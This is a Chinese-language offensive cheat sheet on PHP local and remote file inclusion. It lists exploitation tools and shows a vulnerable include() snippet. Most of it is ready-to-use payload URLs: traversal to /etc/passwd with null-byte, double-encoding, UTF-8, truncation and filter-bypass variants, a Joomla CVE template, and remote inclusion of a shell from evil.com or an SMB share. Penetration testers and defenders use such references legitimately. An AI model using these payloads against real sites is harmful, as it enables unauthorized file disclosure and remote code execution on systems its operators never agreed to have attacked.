跳转至

文件包含 (File Inclusion)

文件包含漏洞是指 Web 应用程序中的一种安全漏洞,在 PHP 开发的应用程序中尤为常见。攻击者通常利用输入/输出清理不足的缺陷来包含一个文件。此漏洞可能导致一系列恶意活动,包括代码执行、数据窃取和网站篡改。

摘要 (Summary)

工具 (Tools)

  • P0cL4bs/Kadimus(于 2020 年 10 月 7 日归档) - Kadimus 是一个用于检查和利用 LFI 漏洞的工具。
  • D35m0nd142/LFISuite - 完全自动化的 LFI 利用工具(含反弹 Shell)和扫描器。
  • kurobeats/fimap - 一个小型 Python 工具,可以自动发现、准备、审计、利用甚至通过 Google 搜索 Web 应用程序中的本地和远程文件包含漏洞。
  • lightos/Panoptic - 一个开源渗透测试工具,通过路径遍历漏洞自动搜索并检索常见日志和配置文件内容。
  • hansmach1ne/LFImap - 本地文件包含发现与利用工具。

本地文件包含 (Local File Inclusion)

文件包含漏洞应与路径遍历区分开来。路径遍历漏洞允许攻击者访问文件(通常是利用目标应用程序中实现的“读取”机制),而文件包含会导致任意代码的执行。

考虑一个根据用户输入包含文件的 PHP 脚本。如果未进行适当的清理,攻击者可以操纵 page 参数来包含本地或远程文件,从而导致未经授权的访问或代码执行。

<?php
$file = $_GET['page'];
include($file);
?>

在以下示例中,我们包含了 /etc/passwd 文件,更多有趣的文件请参考 Directory & Path Traversal(目录与路径遍历)章节。

http://example.com/index.php?page=../../../etc/passwd

空字节 (Null Byte)

⚠ 在低于 5.3.4 的 PHP 版本中,我们可以使用空字节 (%00) 进行截断。

http://example.com/index.php?page=../../../etc/passwd%00

示例: Joomla! 组件 Web TV 1.0 - CVE-2010-1470

{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00

双重编码 (Double Encoding)

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

UTF-8 编码

http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00

路径截断 (Path Truncation)

在大多数 PHP 安装中,长度超过 4096 字节的文件名会被截断,超出部分将被丢弃。

http://example.com/index.php?page=../../../etc/passwd............[添加更多]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[添加更多]
http://example.com/index.php?page=../../../etc/passwd/./././././.[添加更多] 
http://example.com/index.php?page=../../../[添加更多]../../../../etc/passwd

过滤器绕过 (Filter Bypass)

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

远程文件包含 (Remote File Inclusion)

远程文件包含 (RFI) 是一种漏洞。当应用程序在未对输入进行适当验证或清理的情况下,通常通过用户输入包含远程文件时,就会发生此类漏洞。

自 PHP 5 起,allow_url_include 默认被禁用,因此远程文件包含在默认配置下已不再适用。

allow_url_include = On

LFI 章节中的大多数过滤器绕过方法都可以重用于 RFI。

http://example.com/index.php?page=http://evil.com/shell.txt

空字节

http://example.com/index.php?page=http://evil.com/shell.txt%00

双重编码

http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

绕过 allow_url_include

allow_url_includeallow_url_fopen 都设置为 Off 时。在 Windows 平台上,仍有可能利用 smb 协议包含远程文件。

  1. 创建一个对所有人开放的共享。
  2. 在文件中写入 PHP 代码:shell.php
  3. 包含它:http://example.com/index.php?page=\\10.0.0.1\share\shell.php

实验环境 (Labs)

参考资料 (References)